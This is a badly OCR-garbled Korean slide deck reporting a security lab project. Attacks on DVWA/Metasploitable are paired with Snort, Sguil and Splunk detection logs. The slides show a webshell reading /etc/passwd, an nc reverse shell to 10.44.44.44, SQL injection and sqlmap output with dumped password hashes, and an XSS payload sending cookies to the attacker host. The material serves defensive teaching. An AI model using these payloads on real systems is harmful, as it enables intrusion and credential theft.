2025.06.16-2025.06.23
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Wvmyerss | o
Zhet Al ARl

. £ Alpine

. £ mint

. £ metasploitable
| G kali

. s vyos-1-1.8

. s pfsenze

. £ mint-dev

| P splunk

. £ securityonion16

ooopopoopoon

| £ ubuntu-splunk-forwarder

HE EH..

MEE STt

[

208 GB
16.62 GB
6.21 GB
2329 GB
1.35 GB
444 GB
5441 GE
21.78 GB
5.02 GB
222 GB

| @Mz o |

HAE 2E HE

7|Et Linux(64H| E)

T

Ubuniu Linwx{644| .
Ubuniu Linwx{324] ..
Drebian GMNU/Linus. ..

Debian GNU/Linus. ..
FreeBSD 12 0]&
Ubuntu Linux(644| .

7|EH32H|E)

Ubuntu Linux(644| .

7|EH32H|E)

splunk-virtual-mac. _.
o 488
o 4 8l8

(@ ziy

BAEC SAEMH v

19 MHz 233 MB

56 MHz 142 GB

30 MHz 430 MB

80 MHz 121GB

17 MHz 210 MB

107 MHz 1.41GB

71 MHz 584 MB

343 MHz 3.98 GB

791 MHz 455 GB

0 MHz 0 MB
108,

o

e 1g

|
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Kall Linux, Metasploit, DVWA

Snort, Secunty Onion, Splunk, Sguil

Splunk (Dashboard), GeolP Alert 7|5

Wazuh (HIDS), AWS WAF, GuardDuty

Terraform (Bi=Z A-E=h, CloudTrail, VPC Flow Logs

SQL Injection, XSS, Webshell Z2E Session Hijacking

@

netfort



—r

jod
KK
Kd

<+
104

Yot Sl HER 3 HEA

AX[S|

od
80
<

Yot S HIER 3 HEA

ESXi QI Z2f 1= AL

netfort



sS4 ALE[2 4

EInPYRSSE

@

netfort



TRl A

@

netfort



X|ol E
O-d o

Kali Linux
Metasploit

Snort
Security Onion

Splunk

2%

Do AE HAES 2|5A Hizm
Creket 4 = UE #oFd 7|

S4 AlLtE| L2 1

HESRIZ 7[ghIDS. T2l 7|8t
A[ZEEX B = 2

20 23, FHel 24,
CHA|EE A|2Zts}
34 O|HIE =X
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Kali — Upload F&d 24

[3Z4Xt (10.44.44.44)] DMZ-NET (security onion) - SOC-NET (Splunk)
NY
=4 A& (upload) Security Onion - Splunk
(ol EH]
NV - IIE 9997 5|
(T2 S22} E= EFX]) - Splunk} syslog =41 &

[DVWA MH| (Metasploitable)]

DVWA server
(Metasploitale) \l/
l gerol 2o
[Security Onion (THZ] ZHA])]
( & J
l [Squil > Splunk > A|Ztst 8l E11]
o)

2 il

@
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Kali — Upload F|2d 2

OlE{m|0| A HEQ3 A HZ &H| oot
- QF 4 AZ20|8E
WAN 10.44.44.0/24 Kali(Z2x) o o
PMZNET 10.0.10.0/24 Metasploitable(DVIWA) Flors o4t % 21 43

Security Onion

SOCNET 10.0.100.0/10.0.200.0 Splunk 20 Ax gl A2t

netfort



Kali — Upload |2 24

<« C @ © | & 10.0.10.100/dvwa/hackable/uploads/webshell.php?cmd=cat+%2Fetc%2Fpasswd wes w I\ €D

Enter a Command
cat fetc/passwd Ho| 2Ll7]

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh 1p:x:7:7:1p:/var/spool
/1pd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:fvar/spoolfuucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var
/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:
/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:
/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:

/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false
test:x:1003:1003:,,,:/home/test:/bin/bash

Metasploitable(10.0.10.100) - DVWA #|2t& MH “Upload”- Webshell.php &I2E 24
Cat/etc/passwd, id, nc 10.44.44.44 4445 =1 M A
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Splunk - 211 29I

SGUIL-0.9.0 - Connected To localhost - o x

File Query Reports Sound: Off ServerMName: localhost UserName: userl UserD: Client does not appear to be logged in. Please exit and log back in. 2025-06-20 06:28:32 GMT

Evant Messs =

10 netfort-en 3.2166 2025-06-20 06:24:15 10.0.10.100 80 10.44 44 44 39700 6 ET ATTACK_RESPONSE Possible fetc/passwd vi...
1 netfort-en 3.2176 2025-06-20 D6:24:44 1044 4444 45218 10.0.10.100 80 i} ET WEB_SERVER Exploit Suspected PHP Injecti...
2 netfort-en 3.2177 2025-06-20 06:24:54  10.0.10.100 B8O 10.44.44.44 45218 6 ET ATTACK_RESPONSE Output of id command fr...
2 netfort-en 3.2179 2025-06-20 06:26:33 10.44.44.44 60880 10.0.10.100 B8O 6 ET WEB_SERVER /bin/sh In URI Possible Shell C...

Squil 0| A =4 log 22! 7ts

> 25/06/20
15:24:56.000

> 25/06/20
15:24:46.000

> 25/06/20
15:24:17.000

Jun 20 15:24:56 10.0.10.200 Jun 20 06:24:56 netfort sguild_alert: 06:24:55 pid(9500) Alert Received: @ 2 bad-unknown n
etfort-ens160 {2025-06-20 06:24:54} 3 2177 {ET ATTACK_RESPONSE Output of id command from HTTP server} 10.0.10.100 10.4
4.44 44 6 80 45218 1 201595284 1 480 480

host = 10.0.10.200 source = udp:514 = sourcetype = syslog

Jun 20 15:24:46 10.0.10.200 Jun 20 06:24:46 netfort sguild_alert: 06:24:45 p1d(9500) Alert Received: © 1 web-applicati
on-attack netfort-ens160 {2025-06-20 06:24:44) 3 2176 {ET WEB_SERVER Exploit Suspected PHP Injection Attack (cmd=)} 1
0.44 .44 .44 10.0.10.100 6 45218 80 1 2010920 9 479 479

host = 10.0.10.200 source = udp:514 = sourcetype = syslog
Jun 20 15:24:17 10.0.10.200 Jun 20 06:24:17 netfort sguild_alert: 06:24:16 pid(9500) Alert Received: @ 2 successful-re

con-limited netfort-ens160 {2025-06-20 06:24:15) 3 2175 (ET ATTACK_RESPONSE Possible /etc/passwd via HTTP (linux styl
e)) 10.0.10.100 10.44.44.44 6 80 39700 1 2002034 9 478 478

host = 10.0.10.200 source = udp:514  sourcetype = syslog

Security Onion — Sguil HIA Bt2 |og € Splunk0i| HZBHAM =0l JHs

@
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Kali — SQL Injection FLYH 54

User ID:

aa'or'1'="1 || Submit |
—S—%j%?_l k||:|'|01|k| SQL Injection9l %t—lg.”é*% ID: aa 'or '1'='1
7St Q15 8IS 2l HA ALgXte) Curnane: adnin |
Eﬂ%%‘%§£ﬂ§§:§¢51 ID: aa 'or '1'='1l

First name: Gordon
Surname:.: Brown

ID: aa 'or '1'='1
First name: Hack
Ssurname: Me

ID: aa 'or '1'='1
First name: Pablo
surname: Picasso

"security=low; PHPSESSID=c23c7ca6lcB! 189a15 ID: aa 'or "1'="1
. First name: Bob
D | surname: Smith

S| AF2XLO| MM 2T| st > =tol Sl M 27| =tH

)

netfort



~

1ttp: //10.0.0.254/dvwa/vulnera

https://sglmap.or

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mut
sponsibility to obey all applicable local, state and federal laws. Developers
r any misuse or damage caused by this program

[*] starting @ 01:01:34 /2025-06-20/

[01:01:34] [INFO] resuming back-end DBMS 'mysqgl’
[01:01:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
Type: time-based blind
Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)
Payload: id=aa' AND (SELECT 5046 FROM (SELECT(SLEEP(5)))IAdx) AND 'wmQS'=

Type: UNION query

Title: Generic UNION query (NULL) - 2 columns

Payload: id=aa' UNION ALL SELECT NULL,CONCAT(@0x7176707871,0x4770734254566
66546d70506a54534743,0x7171716b71) — -6Submit=Submit

Cllo[EH[O|A Sl H|O|E =5 X3

L

avallable databases [

[*]
[*]
[*]
[*]

r.t.1

dvwa

information_ schema
metasploit

mysql

owaspl@

tikiwiki
tikiwikil195
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Kali — SQL Injection F|2FA

Da
Ta

[5

+

+

SAXH= DVWA 2t

DVWA H|O|E{H|0| A 2| users E||O| = 01| A
OlO|C|(user) 2 H|XHS (password) ZEC| H|O|EE =&

tabase:

dv
ble: users

entries]

user

admin
gordonb
1337
pablo
smithy

+

+

Wa

password

5f4dcc3b5aa765d61d8327deb882cf99 (password)
qq41q¢qgﬂqn wd=+Jqu: 1678922e03 (abcl23)
7edd4fcce9216b (charley)
udluFdUU+Ebbe4uLid~ de5c71e9e9b7 (letmein)
5f4dcc3b53a765d61d8327debB882cf99 (password)

x5t 010|C|(user) 2 H|UHS (password)

74
=

OI-J

A0l X SQL Injection F2H = 0| 2dH

Lsername

1337

Password

[Lumn]

FEOHFOE 201 AT

L—

Username: 1337

20 85

netfort



Date

2025-06-20
13:10:12

2025-06-20
13:10:12

2025-06-20
13:10:12

2025-06-20
13:10:12

2025-06-20
13:10:12

2025-06-20
13:10:12

2025-06-20
13:08:02

Action Pri

1

Pfsense - 21

Proto

TCP

TCP

TCP

TCP

TCP

TCP

TCP

-1

Class

Web Application Attack

Attempted Administrator

Privilege Gain

Web Application Attack

Attempted Administrator

Privilege Gain

Web Application Attack

Attempted Administrator

Privilege Gain

Web Application Attack

e.l-?_l

SQL Injection 4 ©X| 21

Source |IP SPort Destination IP DPort
10.44.44 44 41544 10.0.0.254 80
Q Q
10.44.44 44 41544 10.0.0.254 80
Q Q
10.44.44 44 41528 10.0.0.254 80
Q Q
10.44.44 44 41528 10.0.0.254 80
Q Q
10.44.44 44 41522 10.0.0.254 80
Q Q
10.44.44 44 41522 10.0.0.254 80
Q Q
10.44.44 44 38406 10.0.0.254 80
Q Q

GID:SID

1:2010963
[+ X

1:2053467
[H X

1:2010963
[H X

1:2053467
[+ X

1:2010963
[ X

1:2053467
[+ X

1:2017808
[+ X

Description

ET WEB_SERVER SELECT USER SQL
Injection Attempt in URI

ET WEB_SERVER Possible SQL Injection
SELECT CAST in HTTP URI

ET WEB_SERVER SELECT USER SQL
Injection Attempt in URI

ET WEB_SERVER Possible SQL Injection
SELECT CAST in HTTP URI

ET WEB_SERVER SELECT USER SQL
Injection Attempt in URI

ET WEB_SERVER Possible SQL Injection
SELECT CAST in HTTP URI

ET WEB_SERVER Possible MySQL SQLi
Attempt Information Schema Access

@
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Kali — XSS(Cross Site Scripting) &4

Name * test

kscript>document.location="http://10.44.44.44/
Message * cookie?'+document.cookie</script>

| Sign Guestbook |

Name: test
Message: This is a test comment.

oA AL

“Document.cookie” £ Edl| AFZX}2| MM cookie EHF
http://10.44.44.44/cookie? FAH| “document cookieE @
10.44.44 .44 2 XM=

JEET

Alert Log View Settings

Interface to Inspect WAN (vmx0) ] Autcerefresh view 250
Choose interface Alert lines to display

e
Alert Log View Filter (4]

3 Entries in Active Log

Date Action Pri  Proto  Class SourcelP  SPort  DestinationlP  DPort  GID:SID  Description

2025-06-20 1 TCP Web Application 10444444 57928  10.0.0.254 80 1:2009714 ET WEB_SERVER Script tag in URI Possible
11:43:03 Attack QH Q % Cross Site Scripting Attempt

2025-06-20 1 TCP Web Application 1044 2344 55924 10.0.0.254 80 172009714  ET WEB_SERVER Script tag in URI Possible
11:41:21 Attack Q Q X Cross Site Seripting Attempt

2025-06-20 1 TCP Web Application 10444444 55024 1000254 B0 1:2009714 ET WEB_SERVER Script tag in URI Possible
11:41:19 Attack Qi Q Hx Cross Site Scripting Attempt

GID:SID 1:2009714 & Soll XSS 54 A| =& B

10.44.44.44(3ZXH0llA 10.0.0.2542] & AHZ 2] x| XSS

22{0| AZEIISS Bolst 4 9lg

@

netfort


http://10.44.44.44/cookie?

Kali — XSS(Cross Site Scripting) 21 =91 9! 291 Al

10.44 .44 .44 - - [19/3un/2025:22:41:19 -0400] "GET /cookie?security=1low;%20PHPSESSID= -

fc761dcbcbb10e9cdcb627fdf1afddoo HTTP/1.1" 404 490 “"http://10.0.0.254/" "Mozilla/5.0 Security Level: high
(X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" PHPIDS: disabled
10.44 .44 44 - - [19/Jun/2025:22:41:21 -0400] "GET /cookie?security=1ow;%20PHPSESSID= Console Debugge letwork Style Edit /) Performance 4k Memary

fc761dcbcbb10e9cdcb627fdf1afddo@ HTTP/1.1" 404 489 "http://10.0.0.254/" "Mozilla/5.0
(X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

10.44 .44 .44 - - [19/3un/2025:22:42:45 -0400] "GET /cookie?security=1low;%20PHPSESSID=
fc761dcbcbb1@e9cdcb627fdf1afddo0 HTTP/1.1" 404 490 "http://10.0.0.254/" "Mozilla/5.0
(X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" :1/10.0.0.254 PHPSESSID fc761dchch 627fdflafddo|
10.44 .44 .44 - - [19/Jun/2025:22:43:03 -0400] "GET /cookie?security=1low;%20PHPSESSID= nd R i
fc761dcbcbb10e9cdcb627fdf1afdd0@ HTTP/1.1" 404 490 “"http://10.0.0.254/" "Mozilla/5.0 R
(X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

10.44.44.44 S| SN2 220 7158 2AS =21d = 2l Z X7t PHPSESSID 2k 2171] 52, Hext £ 72 S8 PHPSESSID 7717t A8 %2 ROiZ,
10.44.44 .44 = s{{et B2 (/cookie)E BHX| 2o 0|2 Rtile] HefXof| M- SHe] Elm|o| XS AA| AEEOl “Username: admin” EA|Z 7| StO|MZA S Sl
“404 Not Found"2 SEHX|, AFERPE 2 o 4 U & admin ZIHO2 27010 4TSS & 4 9US

7| A= 0[0] URL 0ff Z3HE|0] Mi{2 Hasglonz
SR 0 RO Sof 7712 YA 4
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Ars2tE BEMA 2= EIX| I E Y EHR

Sp|Uﬂk Alert + Olﬂ.”oE! or Slack OEI-E_Il:! %% Jélﬂ Snort9—| = AE_DS% kll_|t'|__§|'_6|'7-|L|' 9‘|ﬁE:-|I = )&ll-g —TI—E:I
CHA|EE AlZt2 7HM R EIX| et 7SS BES

ZE|, O|HIEE R°F GeolP AlZt=} F=7t Security Onion, Wazuh, Splunk 7t ¢ 2% 1 =35}

@

netfort



Snort, Security Onion, Sguil Splunk, GeolP Wazuh, AWS WAF, GuardDuty

Suricata: Snort2CtH R TZ2EZ= GoAccess: &A|ZH 8l 20 CHA|EE OSSEC: Wazuh?| &, A&fgtEl HIDS
K&, Cs 28| = IDS (CLI/E Ul X&)
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